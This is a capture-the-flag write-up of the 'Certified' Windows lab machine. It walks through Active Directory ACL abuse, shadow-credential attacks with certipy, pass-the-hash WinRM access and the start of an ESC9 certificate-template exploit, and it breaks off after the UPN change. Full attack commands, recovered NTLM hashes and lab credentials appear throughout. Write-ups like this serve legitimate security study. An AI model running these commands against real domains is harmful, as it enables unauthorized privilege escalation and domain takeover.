Certified is a medium-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. To gain access to the management_svc account, ACLs (Access Control Lists) over privileged objects are enumerated leading us to discover that judith.mader which has the write owner ACL over management group, management group has GenericWrite over the management_svc account where we can finally authenticate to the target using WinRM obtaining the user flag. Exploitation of the Active Directory Certificate Service (ADCS) is required to get access to the Administrator account by abusing shadow credentials and ESC9.

As is common in Windows pentests, you will start the Certified box with credentials for the following account: Username: judith.mader Password: judith09

Recon

nmap

T480➜  certified  ᐅ  nmap -p- --min-rate 10000 10.129.231.186
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-14 18:26 EAT
Nmap scan report for 10.129.231.186
Host is up (0.87s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49693/tcp open  unknown
49694/tcp open  unknown
49695/tcp open  unknown
49733/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 46.79 seconds
T480➜  certified  ᐅ  nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5357,5985,9389 -sCV 10.129.231.186
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-14 18:36 EAT
Nmap scan report for 10.129.231.186
Host is up (0.66s latency).

PORT     STATE    SERVICE       VERSION
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-14 22:36:37Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after:  2105-05-23T21:05:29
|_ssl-date: 2025-12-14T22:38:11+00:00; +7h00m00s from scanner time.
445/tcp  open     microsoft-ds?
464/tcp  open     kpasswd5?
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-12-14T22:38:11+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after:  2105-05-23T21:05:29
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after:  2105-05-23T21:05:29
|_ssl-date: 2025-12-14T22:38:13+00:00; +7h00m00s from scanner time.
3269/tcp open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-12-14T22:38:11+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after:  2105-05-23T21:05:29
5357/tcp filtered wsdapi
5985/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time: 
|   date: 2025-12-14T22:37:42
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.95 seconds

Initial credentials

using the given credentials of a low-priv user we were provided we can run the creds

Username: judith.mader
Password: judith09

SMB

T480➜  certified  ᐅ  nxc  smb certified.htb -u judith.mader -p judith09
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing NFS protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing WMI protocol database
[*] Initializing FTP protocol database
[*] Initializing VNC protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
SMB         10.129.231.186  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.186  445    DC01             [+] certified.htb\judith.mader:judith09 

winRM

T480➜  certified  ᐅ  nxc winrm certified.htb -u judith.mader -p judith09                      
WINRM       10.129.231.186  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)

WINRM       10.129.231.186  5985   DC01             [-] certified.htb\judith.mader:judith09

That did not work but we have SMB working so the most logical step is to check for shares

SMB - TCP 445

First we enumerate the shares as Anonymous user:

T480➜  certified  ᐅ  nxc smb dc01.certified.htb --shares
SMB         10.129.231.186  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.186  445    DC01             [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
T480➜  certified  ᐅ  nxc smb dc01.certified.htb -u guest -p '' --shares
SMB         10.129.231.186  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.186  445    DC01             [-] certified.htb\guest: STATUS_ACCOUNT_DISABLED 
T480➜  certified  ᐅ  nxc smb dc01.certified.htb -u 0x11 -p '' --shares
SMB         10.129.231.186  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.186  445    DC01             [-] certified.htb\0x11: STATUS_LOGON_FAILURE

no luck, next we enumerate using Judith’s credentials:

T480➜  certified  ᐅ  nxc smb  dc01.certified.htb -u judith.mader -p judith09 --shares
SMB         10.129.20.91    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.129.20.91    445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.129.20.91    445    DC01             [*] Enumerated shares
SMB         10.129.20.91    445    DC01             Share           Permissions     Remark
SMB         10.129.20.91    445    DC01             -----           -----------     ------
SMB         10.129.20.91    445    DC01             ADMIN$                          Remote Admin
SMB         10.129.20.91    445    DC01             C$                              Default share
SMB         10.129.20.91    445    DC01             IPC$            READ            Remote IPC
SMB         10.129.20.91    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.20.91    445    DC01             SYSVOL          READ            Logon server share 

These are standard shares for Windows domain controller.

Bloodhound

Collection

After research I decided to go with CE of B, BloodHound which requires one to use a different collector: Bloodhound-Python and you can install it using pipx but it comes pre-installed on kali linux

Now that I have access to BloodHound-Python which can collect the data:

T480➜  certified  ᐅ  bloodhound-python -c all -u judith.mader -p 'judith09' -d certified.htb -ns 10.129.20.91
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 56S

From the official page, we can setup bloodhound CE with this one command after downloading it:

T480➜  certified  ᐅ  sudo ./bloodhound-cli install                                                
[+] Checking the status of Docker and the Compose plugin...
[+] Docker and the Compose plugin checks have passed
[+] Starting BloodHound environment installation
[+] Downloading the production YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.yml...
[+] Downloading the development YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.dev.yml...
 app-db Pulling 
 bloodhound Pulling 

Analysis

We can find judith.mader and mark them as owned. Then i’ll look go to the data about the user on the right and scroll down to “Outboud Object Control”, clicking on it adds another node:

image.png

They have WriteOwner On the Management group. Tracing out this group the same way, i’ll find it has GenericWrite over the Management_SVC user, who has all GenericAll over the CA_Operator user:

image.png

ADCS

It’s always worth taking a look at Active Directory cerificate (ADCS). certipy is a nice tool to do that .

T480➜  certified  ᐅ  certipy-ad find -vulnerable -u judith.mader -p judith09 -dc-ip 10.129.231.186 -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
[*] Checking web enrollment for CA 'certified-DC01-CA' @ 'DC01.certified.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

It gives information about the CA it self, but it doesn’t show templates, as there are none of that are exploitable from judith,mader

Shell as Management_SVC

Add Judith.Mader to Management

Clicking on the edge in BloodHound from Judith.Mader to the Management there is a section for Linux abuse:

image.png

This shows how to modify the owner of the group, then grant the “AddMember” permission, and then add a user to the group.

I will use an impacket example script, owneredit.py to modify the owner.

T480➜  certified  ᐅ  owneredit.py -action write -new-owner judith.mader -target management certified/judith.mader:judith09 -dc-ip 10.129.231.186 
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

next we give judith,mader the rights to add users:

T480➜  certified  ᐅ  dacledit.py -action 'write' -rights 'WriteMembers' -principal judith.mader -target Management 'certified'/'judith.mader':'judith09' -dc-ip 10.129.231.186
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20251225-134002.bak
[*] DACL modified successfully!

Then I’ll use the net binary to add judith.mader to the management group.

480➜  certified  ᐅ  net rpc group members Management -U certified.htb/judith.mader%judith09 -S 10.129.231.186

CERTIFIED\management_svc
T480➜  certified  ᐅ  net rpc group addmem Management judith.mader -U "certified.htb"/"judith.mader"%"judith09" -S 10.129.231.186

Get NTLM for Management_SVC

Again, BloodHound shows how to abouse this from Linux:

image.png

It suggests either a Kerberoast, or a Shadow Credential

shadow creds

The abuse information shows using pywhisker, but I will use certipy

T480➜  certified  ᐅ  certipy-ad shadow auto -u judith.mader@certified.htb -p judith09 -account management_svc -target certified.htb -dc-ip 10.129.24.63 -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '10.129.24.63'
[+] DC IP: '10.129.24.63'
[+] DC Host: 'CERTIFIED.HTB'
[+] Target IP: None
[+] Remote Name: 'certified.htb'
[+] Domain: 'CERTIFIED.HTB'
[+] Username: 'JUDITH.MADER'
[+] Trying to resolve 'certified.htb' at '10.129.24.63'
[+] Authenticating to LDAP server using NTLM authentication
[+] Using NTLM signing: False (LDAP signing: True, SSL: True)
[+] Using channel binding signing: True (LDAP channel binding: True, SSL: True)
[+] Using LDAP channel binding for NTLM authentication
[+] LDAP NTLM authentication successful
[+] Bound to ldaps://10.129.24.63:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '95e281964de74ebe981b087acba4e9b6'
[*] Adding Key Credential with device ID '95e281964de74ebe981b087acba4e9b6' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '95e281964de74ebe981b087acba4e9b6' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'management_svc@certified.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC certified.htb (10.129.24.63)
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/certipy/commands/auth.py", line 596, in kerberos_authentication
    tgt = sendReceive(as_req, domain, self.target.target_ip)
  File "/home/eleven/.local/lib/python3.13/site-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
    raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] See the wiki for more information
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': None

That did fail for some reason that I don't understand why, I even tried to sync the clock and retry but It still didn’t work maybe the machine was patched.

UPDATE: the solution was to set time to not update automatically:

T480➜  certified  ᐅ  certipy-ad shadow auto -u judith.mader@certified.htb -p judith09 -account management_svc -target certified.htb -dc-ip 10.129.24.63 -debug              
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '10.129.24.63'
[+] DC IP: '10.129.24.63'
[+] DC Host: 'CERTIFIED.HTB'
[+] Target IP: None
[+] Remote Name: 'certified.htb'
[+] Domain: 'CERTIFIED.HTB'
[+] Username: 'JUDITH.MADER'
[+] Trying to resolve 'certified.htb' at '10.129.24.63'
[+] Authenticating to LDAP server using NTLM authentication
[+] Using NTLM signing: False (LDAP signing: True, SSL: True)
[+] Using channel binding signing: True (LDAP channel binding: True, SSL: True)
[+] Using LDAP channel binding for NTLM authentication
[+] LDAP NTLM authentication successful
[+] Bound to ldaps://10.129.24.63:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '07b123a834d046c882d72df1ce60fc44'
[*] Adding Key Credential with device ID '07b123a834d046c882d72df1ce60fc44' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '07b123a834d046c882d72df1ce60fc44' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'management_svc@certified.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC certified.htb (10.129.24.63)
[*] Got TGT
[*] Saving credential cache to 'management_svc.ccache'
[+] Attempting to write data to 'management_svc.ccache'
File 'management_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): tesst.ccache
[+] Using alternative filename: 'management_svc_7ae57b00-4d4e-4870-bb45-9d7db1fbc7dd.ccache'
[+] Data written to 'management_svc_7ae57b00-4d4e-4870-bb45-9d7db1fbc7dd.ccache'
[*] Wrote credential cache to 'management_svc_7ae57b00-4d4e-4870-bb45-9d7db1fbc7dd.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

This prints out thea091c1832bcdd4677c28b5a6a1295584 the NTLM hash for the management_svc account

Verifying

smb

T480➜  certified  ᐅ  nxc smb certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
SMB         10.129.24.63    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.129.24.63    445    DC01             [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584

winrm

T480➜  certified  ᐅ  nxc winrm certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
WINRM       10.129.24.63    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)

WINRM       10.129.24.63    5985   DC01             [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 (Pwn3d!)
WINRM       10.129.24.63    5985   DC01             [-] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 zip() argument 2 is longer than argument 1

Shell

I’ll use evil-winrm to get shell access:

T480➜  certified  ᐅ  evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
                                        
Evil-WinRM shell v3.9
                                        
*Evil-WinRM* PS C:\Users\management_svc\Documents>

Dissecting AD CS

I’ll run certipy as management_svc to look for vulnerable templates, but the output is exactly the same as the previous run with judith.mader:

T480➜  certified  ᐅ  certipy-ad find -vulnerable -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.129.24.63 -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
[*] Checking web enrollment for CA 'certified-DC01-CA' @ 'DC01.certified.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

I already found above that the management_svc user has GenericAll over the CA_Operator user. I can use the same attack as above, writing a Shadow Credential to get the NTLM hash of this user:

T480➜  certified  ᐅ  certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.129.24.63
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_operator'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'b9b84f89014541248ae17a4ff4b83cda'
[*] Adding Key Credential with device ID 'b9b84f89014541248ae17a4ff4b83cda' to the Key Credentials for 'ca_operator'
[*] Successfully added Key Credential with device ID 'b9b84f89014541248ae17a4ff4b83cda' to the Key Credentials for 'ca_operator'
[*] Authenticating as 'ca_operator' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ca_operator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_operator.ccache'
[*] Wrote credential cache to 'ca_operator.ccache'
[*] Trying to retrieve NT hash for 'ca_operator'
[*] Restoring the old Key Credentials for 'ca_operator'
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f

Validation

SMB:

T480➜  certified  ᐅ  nxc smb certified.htb -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2         
SMB         10.129.24.63    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.129.24.63    445    DC01             [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2 

WINRM:

T480➜  certified  ᐅ  nxc winrm dc01.certified.htb -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2 
WINRM       10.129.24.63    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)

WINRM       10.129.24.63    5985   DC01             [-] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2

nothing burger….

Shell as Administrator

AD CS

Once again we run certipy with ca_operator credentials to see if there is anything new:

T480➜  certified  ᐅ  certipy-ad find -vulnerable -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.129.24.63 -stdout -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)

<SNIP>

[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : PublishToDs
                                          AutoEnrollment
                                          NoSecurityExtension
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-05-13T15:48:52+00:00
    Template Last Modified              : 2024-05-13T15:55:20+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Full Control Principals         : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Write Property Enroll           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
    [+] User Enrollable Principals      : CERTIFIED.HTB\operator ca
    [!] Vulnerabilities
      ESC9                              : Template has no security extension.
    [*] Remarks
      ESC9                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

<SNIP>

There’s a template named CertifiedAuthentication that is vulnerable to ESC9.

ECS9

This page talks about the background for ESC9. ESC9 requires three conditions:

  • StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies any client authentication EKU

The attacker also needs to have access to an account that has GenericWrite over the another account.

The attack from here is to change the userPrincipalName (or UPN) of the second account to Administrator. This is explicitly not Administrator@domain, as that would conflict with the legit administrator account.

When I request a certificate as the second account, the server will return one with the UPN Administrator and no SID.

When I use this certificate, Windows is nice enough to assume that domain is it’s domain, and authenticate as administrator

Exploiting ECS9

To exploit ESC9, I’ll abuse my access to the management_svc account that has GenericAll over the ca_operator account, using it to change the userPrincipalName of ca_operator to be Administrator:

T480➜  certified  ᐅ  certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.129.24.63
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'